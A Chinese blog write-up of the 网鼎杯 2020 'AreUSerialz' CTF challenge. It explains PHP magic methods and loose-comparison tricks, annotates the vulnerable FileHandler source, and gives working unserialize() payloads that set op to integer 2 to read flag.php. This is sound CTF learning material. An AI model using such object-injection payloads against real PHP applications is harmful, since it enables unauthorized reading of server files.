[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
前置知识学习
# php 魔术方法
__construct() 初始化后调用了此方法
# __construct() 构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
## 例
<?php
class Person {
public $username;
public function __construct($name){
echo "你好!".PHP_EOL;
$this -> username = $name;
}
public function getlogin(){
echo "username:".$this -> username.PHP_EOL;
}
}
# 创建一个对象
$login = new Person('root');
# 先调用 __construct 中的代码
$login -> getlogin();
# 再创建一个对象
$login2 = new Person('admin');
?>
__destruct() 销毁对象时调用了此方法
# __destruct() 当对象被销毁时,系统会自动的调用这个方法。
1、当php代码执行结束后,会调用此方法。
2、当对象使用了 unset() 之后,会调用此方法。
3、当对象被重新赋值的时候,会调用此方法。
# php 弱类型
## ==: 如果是字符串和数值相比较,则会将字符串转换为数值类型再做比较,如果是数字开头的字符串则会将字符串转换为开头的数字比较。
# 数值和字符串比较
<?php
$a = 5;
$b = '5abcde';
## 数值 和 同数值开头的字符串 比较
var_dump($a == $b); //bool(true)
$b = '6teee';
## 数值 和 不同数值开头的字符串 比较
var_dump($a == $b); //bool(false)
$a = 0;
$b = '1bb';
$c = 'bbb';
# 0 与字符串比较
## 0 和 数值开头的字符串 比较
var_dump($a == $b); //bool(false)
## 0 和 无数值字符串比较
var_dump($a == $c); //bool(true)
# 数值和类似科学计数法的字符串比较
## 数值与 [0-9]e[0-9,a-z] 类型的字符串比较
<?php
$a = 50; // int型
$b = '5e1'; // string型
var_dump($a == $b); // bool(true)
## 比较时会将类似于 '5e1bbb' 转换为科学计数法 5*10**1 后面的省略掉了,因此 50 == 5*10**1
$a = 50; // int型
$b = '5e1bbb'; // string型
var_dump($a == $b); // bool(true)
# md5 弱类型比较
<?php
$a = 's878926199a';
$b = 's155964671a';
var_dump(md5($a) == md5($b)); // bool(true)
var_dump(md5($a)); //string(32) "0e545993274517709034328855841020"
var_dump(md5($b)); //string(32) "0e342768416822451524974117254469"
## md5 数组类型比较
## md5() 函数无法比较数组类型,返回值都是 NULL
<?php
$a[0] = 1;
$b[0] = 1;
var_dump(md5($a)); // NULL
var_dump(md5($a) == md5($b)); // bool(true)
//报错:md5() 参数是一个string类型,但是给了一个 array 类型, Warning: md5() expects parameter 1 to be string, array given in /box/script.php on line 4
?>
对代码进行了注释,方便分析。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
// 魔术方法1 作用:创建对象的时候先执行__construct()
function __construct() { # 对参数初始化赋值
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); # 调用 process() 方法
}
// __construct() 初始化后调用了此方法
// __destruct() 销毁对象时调用了此方法
public function process() {
if($this->op == "1") { # 检查 op弱比较是否等于 "1",如果等于 "1"调用 write() 方法。
$this->write();
} else if($this->op == "2") {# 如果 op == "2" 则调用 read() 方法再调用 output() 方法输出。
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!"); # 如果不符合 op == "1" 则输出一句话
}
}
// 此方法对 传入的文件进行了和文件的内容检查,如果都存在值则将 content 写入 传递的文件中,如果有一个不存在值,则输出Failed
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
// 如果filename存在值则获取文件内容输出;
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
// 魔术方法2 作用:对象重新赋值、程序执行结束、使用 unset() 销毁对象时会自动调用此方法
function __destruct() {
if($this->op === "2") # 对 op 进行强比较 "2"
$this->op = "1"; # 将op重置为 "1"
$this->content = ""; # 将 content 置空
$this->process(); # 调用 process() 方法
}
}
# 对传入的值进行了ascii码检查,如果有不可见字符则返回 false
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
## 执行的主程序
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); # 反序列化
}
}
先分析一下 read() 方法,为什么要分析 read() 方法呢,原因是,在 read() 方法中可以看到一个重要的点,就是 file_get_content() 函数。
用来读取传入的文件的内容,然后返回 $res。
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); # 可以用来获取 flag.php 的内容
}
return $res;
}
继续往上追溯,找到可以调用 read() 方法的入口。可以看到,process() 方法中 对 op 进行了弱类型比较,只要 op == “2” 就可以调用 read() 方法读取 filename 了
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { # 如果 op == "2" 则调用 read() 方法再调用 output() 方法输出。
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
继续往上找 process() 方法的调用入口,找到两个方法可以调用 process() 方法。 __construct() 和 __destruct() 。
## __construct
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); # 调用 process() 方法
}
## __destruct
function __destruct() {
# 我对 if 语句后面加上了一个花括号,将if如果 true 要执行语句包裹了起来。
if($this->op === "2"){
$this->op = "1";
}
$this->content = "";
$this->process(); # 调用 process() 方法
}
这就找到最后的位置了,首先 __construct() 方法可以不用看了,因为执行反序列化的时候,是直接先调用了 __destruct() 方法。
__destruct() 方法,先对 op 做了强类型比较,如果符合则会将 op 重置为 “1”。
如果不符合则将 content 置空后调用 process() 方法。
# payload 构造思路
__destruct() ===> op !== "2" 即可
process() ===> op == "2" 就可以调用 read() 方法
op = 2 就可以绕过 __destrust() 且调用 process() 的时候可以匹配在 else if 的条件,最后调用 read()
payload构造环境
<?php
class FileHandler {
public $op=2;
public $filename='flag.php';
public $content;
}
$a = new FileHandler();
var_dump(serialize($a));
?>
原本是用源代码中的 protected 构造的payload,但是发现不能用,后来看到解析才知道原因,最终修改成上面的代码来构造payload。
# 不能用的payload
?str=O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
# 可以用的payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

参考文章
[PHP反序列化活学活用](
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582236.html

浙公网安备 33010602011771号